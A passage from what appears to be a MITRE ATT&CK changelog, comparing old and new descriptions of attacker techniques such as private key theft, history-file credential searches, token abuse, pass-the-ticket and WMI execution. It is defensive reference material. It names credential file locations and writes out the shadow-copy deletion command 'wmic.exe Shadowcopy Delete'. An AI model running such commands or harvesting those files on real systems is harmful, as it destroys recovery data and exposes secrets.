"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:50:31.428000+00:00\", \"old_value\": \"2026-05-12 15:12:00.635000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc. \\n\\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n\\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n\\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n\\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\", \"old_value\": \"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \\n\\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n\\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\\n\\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \\n\\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \\n+Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc. \\n \\n Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\\n \"}}}",
"previous_version": "1.3",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search for private key certificate files on | t | 1 | Adversaries may search for private key certificate files on |
| > | compromised systems for insecurely stored credentials. Priva | > | compromised systems for insecurely stored credentials. Priva | ||
| > | te cryptographic keys and certificates are used for authenti | > | te cryptographic keys and certificates are used for authenti | ||
| > | cation, encryption/decryption, and digital signatures.(Citat | > | cation, encryption/decryption, and digital signatures.(Citat | ||
| > | ion: Wikipedia Public Key Crypto) Common key and certificate | > | ion: Wikipedia Public Key Crypto) Common key and certificate | ||
| > | file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe | > | file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem | ||
| > | m, .pfx, .cer, .p7b, .asc. Adversaries may also look in co | > | , .pfx, .cer, .p7b, .asc. Adversaries may also look in com | ||
| > | mmon key directories, such as <code>~/.ssh</code> for SSH ke | > | mon key directories, such as <code>~/.ssh</code> for SSH key | ||
| > | ys on * nix-based systems or <code>C:\Users\(usernam | > | s on * nix-based systems or <code>C:\Users\(username | ||
| > | e)\.ssh\</code> on Windows. Adversary tools may also | > | )\.ssh\</code> on Windows. Adversary tools may also | ||
| > | search compromised systems for file extensions relating to | > | search compromised systems for file extensions relating to c | ||
| > | cryptographic keys and certificates.(Citation: Kaspersky Car | > | ryptographic keys and certificates.(Citation: Kaspersky Care | ||
| > | eto)(Citation: Palo Alto Prince of Persia) When a device is | > | to)(Citation: Palo Alto Prince of Persia) When a device is | ||
| > | registered to Entra ID, a device key and a transport key ar | > | registered to Entra ID, a device key and a transport key are | ||
| > | e generated and used to verify the device\u2019s identity.(Citati | > | generated and used to verify the device\u2019s identity.(Citatio | ||
| > | on: Microsoft Primary Refresh Token) An adversary with acces | > | n: Microsoft Primary Refresh Token) An adversary with access | ||
| > | s to the device may be able to export the keys in order to i | > | to the device may be able to export the keys in order to im | ||
| > | mpersonate the device.(Citation: AADInternals Azure AD Devic | > | personate the device.(Citation: AADInternals Azure AD Device | ||
| > | e Identities) On network devices, private keys may be expor | > | Identities) On network devices, private keys may be export | ||
| > | ted via [Network Device CLI](https://attack.mitre.org/techni | > | ed via [Network Device CLI](https://attack.mitre.org/techniq | ||
| > | ques/T1059/008) commands such as `crypto pki export`.(Citati | > | ues/T1059/008) commands such as `crypto pki export`.(Citatio | ||
| > | on: cisco_deploy_rsa_keys) Some private keys require a pas | > | n: cisco_deploy_rsa_keys) Some private keys require a pass | ||
| > | sword or passphrase for operation, so an adversary may also | > | word or passphrase for operation, so an adversary may also u | ||
| > | use [Input Capture](https://attack.mitre.org/techniques/T105 | > | se [Input Capture](https://attack.mitre.org/techniques/T1056 | ||
| > | 6) for keylogging or attempt to [Brute Force](https://attack | > | ) for keylogging or attempt to [Brute Force](https://attack. | ||
| > | .mitre.org/techniques/T1110) the passphrase off-line. These | > | mitre.org/techniques/T1110) the passphrase off-line. These p | ||
| > | private keys can be used to authenticate to [Remote Services | > | rivate keys can be used to authenticate to [Remote Services] | ||
| > | ](https://attack.mitre.org/techniques/T1021) like SSH or for | > | (https://attack.mitre.org/techniques/T1021) like SSH or for | ||
| > | use in decrypting other collected files such as email. | > | use in decrypting other collected files such as email. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the command history on compromised sy | t | 1 | Adversaries may search the command history on compromised sy |
| > | stems for insecurely stored credentials. On Linux and macOS | > | stems for insecurely stored credentials. On Linux and macOS | ||
| > | systems, shells such as Bash and Zsh keep track of the comm | > | systems, shells such as Bash and Zsh keep track of the comm | ||
| > | ands users type on the command-line with the \"history\" utili | > | ands users type on the command-line with the \"history\" utili | ||
| > | ty. Once a user logs out, the history is flushed to the user | > | ty. Once a user logs out, the history is flushed to the user | ||
| > | 's history file. For each user, this file resides at the sam | > | 's history file. For each user, this file resides at the sam | ||
| > | e location: for example, `~/.bash_history` or `~/.zsh_histor | > | e location: for example, `~/.bash_history` or `~/.zsh_histor | ||
| > | y`. Typically, these files keeps track of the user's last 10 | > | y`. Typically, these files keep track of the user's last 100 | ||
| > | 00 commands. On Windows, PowerShell has both a command hist | > | 0 commands. On Windows, PowerShell has both a command histo | ||
| > | ory that is wiped after the session ends, and one that conta | > | ry that is wiped after the session ends, and one that contai | ||
| > | ins commands used in all sessions and is persistent. The def | > | ns commands used in all sessions and is persistent. The defa | ||
| > | ault location for persistent history can be found in `%userp | > | ult location for persistent history can be found in `%userpr | ||
| > | rofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadl | > | ofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadli | ||
| > | ine\\ConsoleHost_history.txt`, but command history can also b | > | ne\\ConsoleHost_history.txt`, but command history can also be | ||
| > | e accessed with `Get-History`. Command Prompt (CMD) on Windo | > | accessed with `Get-History`. Command Prompt (CMD) on Window | ||
| > | ws does not have persistent history.(Citation: Microsoft abo | > | s does not have persistent history.(Citation: Microsoft abou | ||
| > | ut_History)(Citation: Medium) Users often type usernames an | > | t_History)(Citation: Medium) Users often type usernames and | ||
| > | d passwords on the command-line as parameters to programs, w | > | passwords on the command-line as parameters to programs, wh | ||
| > | hich then get saved to this file when they log out. Adversar | > | ich then get saved to this file when they log out. Adversari | ||
| > | ies can abuse this by looking through the file for potential | > | es can abuse this by looking through the file for potential | ||
| > | credentials.(Citation: External to DA, the OS X Way) | > | credentials.(Citation: External to DA, the OS X Way) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use stolen application access tokens to bypa | t | 1 | Adversaries may use stolen application access tokens to bypa |
| > | ss the typical authentication process and access restricted | > | ss the typical authentication process and access restricted | ||
| > | accounts, information, or services on remote systems. These | > | accounts, information, or services on remote systems. These | ||
| > | tokens are typically stolen from users or services and used | > | tokens are typically stolen from users or services and used | ||
| > | in lieu of login credentials. Application access tokens are | > | in lieu of login credentials. Application access tokens are | ||
| > | used to make authorized API requests on behalf of a user or | > | used to make authorized API requests on behalf of a user or | ||
| > | service and are commonly used to access resources in cloud, | > | service and are commonly used to access resources in cloud, | ||
| > | container-based applications, and software-as-a-service (Sa | > | container-based applications, and software-as-a-service (Sa | ||
| > | aS).(Citation: Auth0 - Why You Should Always Use Access Toke | > | aS).(Citation: Auth0 - Why You Should Always Use Access Toke | ||
| > | ns to Secure APIs Sept 2019) OAuth is one commonly impleme | > | ns to Secure APIs Sept 2019) OAuth is one commonly impleme | ||
| > | nted framework that issues tokens to users for access to sys | > | nted framework that issues tokens to users for access to sys | ||
| > | tems. These frameworks are used collaboratively to verify th | > | tems. These frameworks are used collaboratively to verify th | ||
| > | e user and determine what actions the user is allowed to per | > | e user and determine what actions the user is allowed to per | ||
| > | form. Once identity is established, the token allows actions | > | form. Once identity is established, the token allows actions | ||
| > | to be authorized, without passing the actual credentials of | > | to be authorized, without passing the actual credentials of | ||
| > | the user. Therefore, compromise of the token can grant the | > | the user. Therefore, compromise of the token can grant the | ||
| > | adversary access to resources of other sites through a malic | > | adversary access to resources of other sites through a malic | ||
| > | ious application.(Citation: okta) For example, with a cloud | > | ious application.(Citation: okta) For example, with a cloud | ||
| > | -based email service, once an OAuth access token is granted | > | -based email service, once an OAuth access token is granted | ||
| > | to a malicious application, it can potentially gain long-ter | > | to a malicious application, it can potentially gain long-ter | ||
| > | m access to features of the user account if a \"refresh\" toke | > | m access to features of the user account if a \"refresh\" toke | ||
| > | n enabling background access is awarded.(Citation: Microsoft | > | n enabling background access is awarded.(Citation: Microsoft | ||
| > | Identity Platform Access 2019) With an OAuth access token a | > | Identity Platform Access 2019) With an OAuth access token a | ||
| > | n adversary can use the user-granted REST API to perform fun | > | n adversary can use the user-granted REST API to perform fun | ||
| > | ctions such as email searching and contact enumeration.(Cita | > | ctions such as email searching and contact enumeration.(Cita | ||
| > | tion: Staaldraad Phishing with OAuth 2017) Compromised acce | > | tion: Staaldraad Phishing with OAuth 2017) Compromised acce | ||
| > | ss tokens may be used as an initial step in compromising oth | > | ss tokens may be used as an initial step in compromising oth | ||
| > | er services. For example, if a token grants access to a vict | > | er services. For example, if a token grants access to a vict | ||
| > | im\u2019s primary email, the adversary may be able to extend acce | > | im\u2019s primary email, the adversary may be able to extend acce | ||
| > | ss to all other services which the target subscribes by trig | > | ss to all other services to which the target subscribes by t | ||
| > | gering forgotten password routines. In AWS and GCP environme | > | riggering forgotten password routines. In AWS and GCP enviro | ||
| > | nts, adversaries can trigger a request for a short-lived acc | > | nments, adversaries can trigger a request for a short-lived | ||
| > | ess token with the privileges of another user account.(Citat | > | access token with the privileges of another user account.(Ci | ||
| > | ion: Google Cloud Service Account Credentials)(Citation: AWS | > | tation: Google Cloud Service Account Credentials)(Citation: | ||
| > | Temporary Security Credentials) The adversary can then use | > | AWS Temporary Security Credentials) The adversary can then u | ||
| > | this token to request data or perform actions the original a | > | se this token to request data or perform actions the origina | ||
| > | ccount could not. If permissions for this feature are miscon | > | l account could not. If permissions for this feature are mis | ||
| > | figured \u2013 for example, by allowing all users to request a to | > | configured \u2013 for example, by allowing all users to request a | ||
| > | ken for a particular account - an adversary may be able to g | > | token for a particular account - an adversary may be able t | ||
| > | ain initial access to a Cloud Account or escalate their priv | > | o gain initial access to a Cloud Account or escalate their p | ||
| > | ileges.(Citation: Rhino Security Labs Enumerating AWS Roles) | > | rivileges.(Citation: Rhino Security Labs Enumerating AWS Rol | ||
| > | Direct API access through a token negates the effectivenes | > | es) Direct API access through a token negates the effective | ||
| > | s of a second authentication factor and may be immune to int | > | ness of a second authentication factor and may be immune to | ||
| > | uitive countermeasures like changing passwords. For example | > | intuitive countermeasures like changing passwords. For exam | ||
| > | , in AWS environments, an adversary who compromises a user\u2019s | > | ple, in AWS environments, an adversary who compromises a use | ||
| > | AWS API credentials may be able to use the `sts:GetFederati | > | r\u2019s AWS API credentials may be able to use the `sts:GetFeder | ||
| > | onToken` API call to create a federated user session, which | > | ationToken` API call to create a federated user session, whi | ||
| > | will have the same permissions as the original user but may | > | ch will have the same permissions as the original user but m | ||
| > | persist even if the original user credentials are deactivate | > | ay persist even if the original user credentials are deactiv | ||
| > | d.(Citation: Crowdstrike AWS User Federation Persistence) Ad | > | ated.(Citation: Crowdstrike AWS User Federation Persistence) | ||
| > | ditionally, access abuse over an API channel can be difficul | > | Additionally, access abuse over an API channel can be diffi | ||
| > | t to detect even from the service provider end, as the acces | > | cult to detect even from the service provider end, as the ac | ||
| > | s can still align well with a legitimate workflow. | > | cess can still align well with a legitimate workflow. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tick | t | 1 | Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tick |
| > | ets to move laterally within an environment, bypassing norma | > | ets to move laterally within an environment, bypassing norma | ||
| > | l system access controls. Pass the ticket (PtT) is a method | > | l system access controls. Pass the ticket (PtT) is a method | ||
| > | of authenticating to a system using Kerberos tickets without | > | of authenticating to a system using Kerberos tickets without | ||
| > | having access to an account's password. Kerberos authentica | > | having access to an account's password. Kerberos authentica | ||
| > | tion can be used as the first step to lateral movement to a | > | tion can be used as the first step to lateral movement to a | ||
| > | remote system. When preforming PtT, valid Kerberos tickets | > | remote system. When performing PtT, valid Kerberos tickets | ||
| > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78) are captured by [OS Credential Dumping](https://attack.m | > | 78) are captured by [OS Credential Dumping](https://attack.m | ||
| > | itre.org/techniques/T1003). A user's service tickets or tick | > | itre.org/techniques/T1003). A user's service tickets or tick | ||
| > | et granting ticket (TGT) may be obtained, depending on the l | > | et granting ticket (TGT) may be obtained, depending on the l | ||
| > | evel of access. A service ticket allows for access to a part | > | evel of access. A service ticket allows for access to a part | ||
| > | icular resource, whereas a TGT can be used to request servic | > | icular resource, whereas a TGT can be used to request servic | ||
| > | e tickets from the Ticket Granting Service (TGS) to access a | > | e tickets from the Ticket Granting Service (TGS) to access a | ||
| > | ny resource the user has privileges to access.(Citation: ADS | > | ny resource the user has privileges to access.(Citation: ADS | ||
| > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | ||
| > | icket) A [Silver Ticket](https://attack.mitre.org/technique | > | icket) A [Silver Ticket](https://attack.mitre.org/technique | ||
| > | s/T1558/002) can be obtained for services that use Kerberos | > | s/T1558/002) can be obtained for services that use Kerberos | ||
| > | as an authentication mechanism and are used to generate tick | > | as an authentication mechanism and are used to generate tick | ||
| > | ets to access that particular resource and the system that h | > | ets to access that particular resource and the system that h | ||
| > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | ||
| > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | ||
| > | org/techniques/T1558/001) can be obtained for the domain usi | > | org/techniques/T1558/001) can be obtained for the domain usi | ||
| > | ng the Key Distribution Service account KRBTGT account NTLM | > | ng the Key Distribution Service account KRBTGT account NTLM | ||
| > | hash, which enables generation of TGTs for any account in Ac | > | hash, which enables generation of TGTs for any account in Ac | ||
| > | tive Directory.(Citation: Campbell 2014) Adversaries may al | > | tive Directory.(Citation: Campbell 2014) Adversaries may al | ||
| > | so create a valid Kerberos ticket using other user informati | > | so create a valid Kerberos ticket using other user informati | ||
| > | on, such as stolen password hashes or AES keys. For example, | > | on, such as stolen password hashes or AES keys. For example, | ||
| > | \"overpassing the hash\" involves using a NTLM password hash | > | \"overpassing the hash\" involves using an NTLM password hash | ||
| > | to authenticate as a user (i.e. [Pass the Hash](https://atta | > | to authenticate as a user (i.e. [Pass the Hash](https://att | ||
| > | ck.mitre.org/techniques/T1550/002)) while also using the pas | > | ack.mitre.org/techniques/T1550/002)) while also using the pa | ||
| > | sword hash to create a valid Kerberos ticket.(Citation: Stea | > | ssword hash to create a valid Kerberos ticket.(Citation: Ste | ||
| > | lthbits Overpass-the-Hash) | > | althbits Overpass-the-Hash) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rely on a user installing a malicious librar | t | 1 | Adversaries may rely on a user installing a malicious librar |
| > | y to facilitate execution. Threat actors may [Upload Malware | > | y to facilitate execution. Threat actors may [Upload Malware | ||
| > | ](https://attack.mitre.org/techniques/T1608/001) to package | > | ](https://attack.mitre.org/techniques/T1608/001) to package | ||
| > | managers such as NPM and PyPi, as well as to public code rep | > | managers such as NPM and PyPi, as well as to public code rep | ||
| > | ositories such as GitHub. User may install libraries without | > | ositories such as GitHub. Users may install libraries withou | ||
| > | realizing they are malicious, thus bypassing techniques tha | > | t realizing they are malicious, thus bypassing techniques th | ||
| > | t specifically achieve Initial Access. This can lead to the | > | at specifically achieve Initial Access. This can lead to the | ||
| > | execution of malicious code, such as code that establishes p | > | execution of malicious code, such as code that establishes | ||
| > | ersistence, steals data, or mines cryptocurrency.(Citation: | > | persistence, steals data, or mines cryptocurrency.(Citation: | ||
| > | Datadog Security Labs Malicious PyPi Packages 2024)(Citation | > | Datadog Security Labs Malicious PyPi Packages 2024)(Citatio | ||
| > | : Fortinet Malicious NPM Packages 2023) In some cases, thre | > | n: Fortinet Malicious NPM Packages 2023) In some cases, thr | ||
| > | at actors may compromise and backdoor existing popular libra | > | eat actors may compromise and backdoor existing popular libr | ||
| > | ries (i.e., [Compromise Software Dependencies and Developmen | > | aries (i.e., [Compromise Software Dependencies and Developme | ||
| > | t Tools](https://attack.mitre.org/techniques/T1195/001)). Al | > | nt Tools](https://attack.mitre.org/techniques/T1195/001)). A | ||
| > | ternatively, they may create entirely new packages and lever | > | lternatively, they may create entirely new packages and leve | ||
| > | age behaviors such as typosquatting to encourage users to in | > | rage behaviors such as typosquatting to encourage users to i | ||
| > | stall them. | > | nstall them. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary can leverage a computer's peripheral devices (e | t | 1 | An adversary can leverage a computer's peripheral devices (e |
| > | .g., integrated cameras or webcams) or applications (e.g., v | > | .g., integrated cameras or webcams) or applications (e.g., v | ||
| > | ideo call services) to capture video recordings for the purp | > | ideo call services) to capture video recordings for the purp | ||
| > | ose of gathering information. Images may also be captured fr | > | ose of gathering information. Images may also be captured fr | ||
| > | om devices or applications, potentially in specified interva | > | om devices or applications, potentially in specified interva | ||
| > | ls, in lieu of video files. Malware or scripts may be used | > | ls, in lieu of video files. Malware or scripts may be used | ||
| > | to interact with the devices through an available API provid | > | to interact with the devices through an available API provid | ||
| > | ed by the operating system or an application to capture vide | > | ed by the operating system or an application to capture vide | ||
| > | o or images. Video or image files may be written to disk and | > | o or images. Video or image files may be written to disk and | ||
| > | exfiltrated later. This technique differs from [Screen Capt | > | exfiltrated later. This technique differs from [Screen Capt | ||
| > | ure](https://attack.mitre.org/techniques/T1113) due to use o | > | ure](https://attack.mitre.org/techniques/T1113) due to use o | ||
| > | f specific devices or applications for video recording rathe | > | f specific devices or applications for video recording rathe | ||
| > | r than capturing the victim's screen. In macOS, there are a | > | r than capturing the victim's screen. In macOS, there are a | ||
| > | few different malware samples that record the user's webcam | > | few different malware samples that record the user's webcam | ||
| > | such as FruitFly and Proton. (Citation: objective-see 2017 | > | such as FruitFly and Proton.(Citation: objective-see 2017 r | ||
| > | review) | > | eview) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various user activity checks to detec | t | 1 | Adversaries may employ various user activity checks to detec |
| > | t and avoid virtualization and analysis environments. This m | > | t and avoid virtualization and analysis environments. This m | ||
| > | ay include changing behaviors based on the results of checks | > | ay include changing behaviors based on the results of checks | ||
| > | for the presence of artifacts indicative of a virtual machi | > | for the presence of artifacts indicative of a virtual machi | ||
| > | ne environment (VME) or sandbox. If the adversary detects a | > | ne environment (VME) or sandbox. If the adversary detects a | ||
| > | VME, they may alter their malware to disengage from the vict | > | VME, they may alter their malware to disengage from the vict | ||
| > | im or conceal the core functions of the implant. They may al | > | im or conceal the core functions of the implant. They may al | ||
| > | so search for VME artifacts before dropping secondary or add | > | so search for VME artifacts before dropping secondary or add | ||
| > | itional payloads. Adversaries may use the information learne | > | itional payloads. Adversaries may use the information learne | ||
| > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | ||
| > | .org/techniques/T1497) during automated discovery to shape f | > | .org/techniques/T1497) during automated discovery to shape f | ||
| > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | ||
| > | ) Adversaries may search for user activity on the host base | > | ) Adversaries may search for user activity on the host base | ||
| > | d on variables such as the speed/frequency of mouse movement | > | d on variables such as the speed/frequency of mouse movement | ||
| > | s and clicks (Citation: Sans Virtual Jan 2016) , browser his | > | s and clicks(Citation: Sans Virtual Jan 2016) , browser hist | ||
| > | tory, cache, bookmarks, or number of files in common directo | > | ory, cache, bookmarks, or number of files in common director | ||
| > | ries such as home or the desktop. Other methods may rely on | > | ies such as home or the desktop. Other methods may rely on s | ||
| > | specific user interaction with the system before the malicio | > | pecific user interaction with the system before the maliciou | ||
| > | us code is activated, such as waiting for a document to clos | > | s code is activated, such as waiting for a document to close | ||
| > | e before activating a macro (Citation: Unit 42 Sofacy Nov 20 | > | before activating a macro(Citation: Unit 42 Sofacy Nov 2018 | ||
| > | 18) or waiting for a user to double click on an embedded ima | > | ) or waiting for a user to double click on an embedded image | ||
| > | ge to activate.(Citation: FireEye FIN7 April 2017) | > | to activate.(Citation: FireEye FIN7 April 2017) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries disable a network device\u2019s dedicated hardware en | t | 1 | Adversaries disable a network device\u2019s dedicated hardware en |
| > | cryption, which may enable them to leverage weaknesses in so | > | cryption, which may enable them to leverage weaknesses in so | ||
| > | ftware encryption in order to reduce the effort involved in | > | ftware encryption in order to reduce the effort involved in | ||
| > | collecting, manipulating, and exfiltrating transmitted data. | > | collecting, manipulating, and exfiltrating transmitted data. | ||
| > | Many network devices such as routers, switches, and firewa | > | Many network devices such as routers, switches, and firewa | ||
| > | lls, perform encryption on network traffic to secure transmi | > | lls, perform encryption on network traffic to secure transmi | ||
| > | ssion across networks. Often, these devices are equipped wit | > | ssion across networks. Often, these devices are equipped wit | ||
| > | h special, dedicated encryption hardware to greatly increase | > | h special, dedicated encryption hardware to greatly increase | ||
| > | the speed of the encryption process as well as to prevent m | > | the speed of the encryption process as well as to prevent m | ||
| > | alicious tampering. When an adversary takes control of such | > | alicious tampering. When an adversary takes control of such | ||
| > | a device, they may disable the dedicated hardware, for examp | > | a device, they may disable the dedicated hardware, for examp | ||
| > | le, through use of [Modify System Image](https://attack.mitr | > | le, through use of [Modify System Image](https://attack.mitr | ||
| > | e.org/techniques/T1601), forcing the use of software to perf | > | e.org/techniques/T1601), forcing the use of software to perf | ||
| > | orm encryption on general processors. This is typically used | > | orm encryption on general processors. This is typically used | ||
| > | in conjunction with attacks to weaken the strength of the c | > | in conjunction with attacks to weaken the strength of the c | ||
| > | ipher in software (e.g., [Reduce Key Space](https://attack.m | > | ipher in software (e.g., [Reduce Key Space](https://attack.m | ||
| > | itre.org/techniques/T1600/001)). (Citation: Cisco Blog Legac | > | itre.org/techniques/T1600/001)).(Citation: Cisco Blog Legacy | ||
| > | y Device Attacks) | > | Device Attacks) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may reduce the level of effort required to decry | t | 1 | Adversaries may reduce the level of effort required to decry |
| > | pt data transmitted over the network by reducing the cipher | > | pt data transmitted over the network by reducing the cipher | ||
| > | strength of encrypted communications.(Citation: Cisco Synful | > | strength of encrypted communications.(Citation: Cisco Synful | ||
| > | Knock Evolution) Adversaries can weaken the encryption sof | > | Knock Evolution) Adversaries can weaken the encryption sof | ||
| > | tware on a compromised network device by reducing the key si | > | tware on a compromised network device by reducing the key si | ||
| > | ze used by the software to convert plaintext to ciphertext ( | > | ze used by the software to convert plaintext to ciphertext ( | ||
| > | e.g., from hundreds or thousands of bytes to just a couple o | > | e.g., from hundreds or thousands of bytes to just a couple o | ||
| > | f bytes). As a result, adversaries dramatically reduce the a | > | f bytes). As a result, adversaries dramatically reduce the a | ||
| > | mount of effort needed to decrypt the protected information | > | mount of effort needed to decrypt the protected information | ||
| > | without the key. Adversaries may modify the key size used a | > | without the key. Adversaries may modify the key size used a | ||
| > | nd other encryption parameters using specialized commands in | > | nd other encryption parameters using specialized commands in | ||
| > | a [Network Device CLI](https://attack.mitre.org/techniques/ | > | a [Network Device CLI](https://attack.mitre.org/techniques/ | ||
| > | T1059/008) introduced to the system through [Modify System I | > | T1059/008) introduced to the system through [Modify System I | ||
| > | mage](https://attack.mitre.org/techniques/T1601) to change t | > | mage](https://attack.mitre.org/techniques/T1601) to change t | ||
| > | he configuration of the device. (Citation: Cisco Blog Legacy | > | he configuration of the device.(Citation: Cisco Blog Legacy | ||
| > | Device Attacks) | > | Device Attacks) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Windows Management Instrumentation (WM | t | 1 | Adversaries may abuse Windows Management Instrumentation (WM |
| > | I) to execute malicious commands and payloads. WMI is design | > | I) to execute malicious commands and payloads. WMI is design | ||
| > | ed for programmers and is the infrastructure for management | > | ed for programmers and is the infrastructure for management | ||
| > | data and operations on Windows systems.(Citation: WMI 1-3) W | > | data and operations on Windows systems.(Citation: WMI 1-3) W | ||
| > | MI is an administration feature that provides a uniform envi | > | MI is an administration feature that provides a uniform envi | ||
| > | ronment to access Windows system components. The WMI servic | > | ronment to access Windows system components. The WMI servic | ||
| > | e enables both local and remote access, though the latter is | > | e enables both local and remote access, though the latter is | ||
| > | facilitated by [Remote Services](https://attack.mitre.org/t | > | facilitated by [Remote Services](https://attack.mitre.org/t | ||
| > | echniques/T1021) such as [Distributed Component Object Model | > | echniques/T1021) such as [Distributed Component Object Model | ||
| > | ](https://attack.mitre.org/techniques/T1021/003) and [Window | > | ](https://attack.mitre.org/techniques/T1021/003) and [Window | ||
| > | s Remote Management](https://attack.mitre.org/techniques/T10 | > | s Remote Management](https://attack.mitre.org/techniques/T10 | ||
| > | 21/006).(Citation: WMI 1-3) Remote WMI over DCOM operates us | > | 21/006).(Citation: WMI 1-3) Remote WMI over DCOM operates us | ||
| > | ing port 135, whereas WMI over WinRM operates over port 5985 | > | ing port 135, whereas WMI over WinRM operates over port 5985 | ||
| > | when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Cit | > | when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3)(Cita | ||
| > | ation: Mandiant WMI) An adversary can use WMI to interact w | > | tion: Mandiant WMI) An adversary can use WMI to interact wi | ||
| > | ith local and remote systems and use it as a means to execut | > | th local and remote systems and use it as a means to execute | ||
| > | e various behaviors, such as gathering information for [Disc | > | various behaviors, such as gathering information for [Disco | ||
| > | overy](https://attack.mitre.org/tactics/TA0007) as well as [ | > | very](https://attack.mitre.org/tactics/TA0007) as well as [E | ||
| > | Execution](https://attack.mitre.org/tactics/TA0002) of comma | > | xecution](https://attack.mitre.org/tactics/TA0002) of comman | ||
| > | nds and payloads.(Citation: Mandiant WMI) For example, `wmic | > | ds and payloads.(Citation: Mandiant WMI) For example, `wmic. | ||
| > | .exe` can be abused by an adversary to delete shadow copies | > | exe` can be abused by an adversary to delete shadow copies w | ||
| > | with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibi | > | ith the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit | ||
| > | t System Recovery](https://attack.mitre.org/techniques/T1490 | > | System Recovery](https://attack.mitre.org/techniques/T1490) | ||
| > | )).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as | > | ).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as o | ||
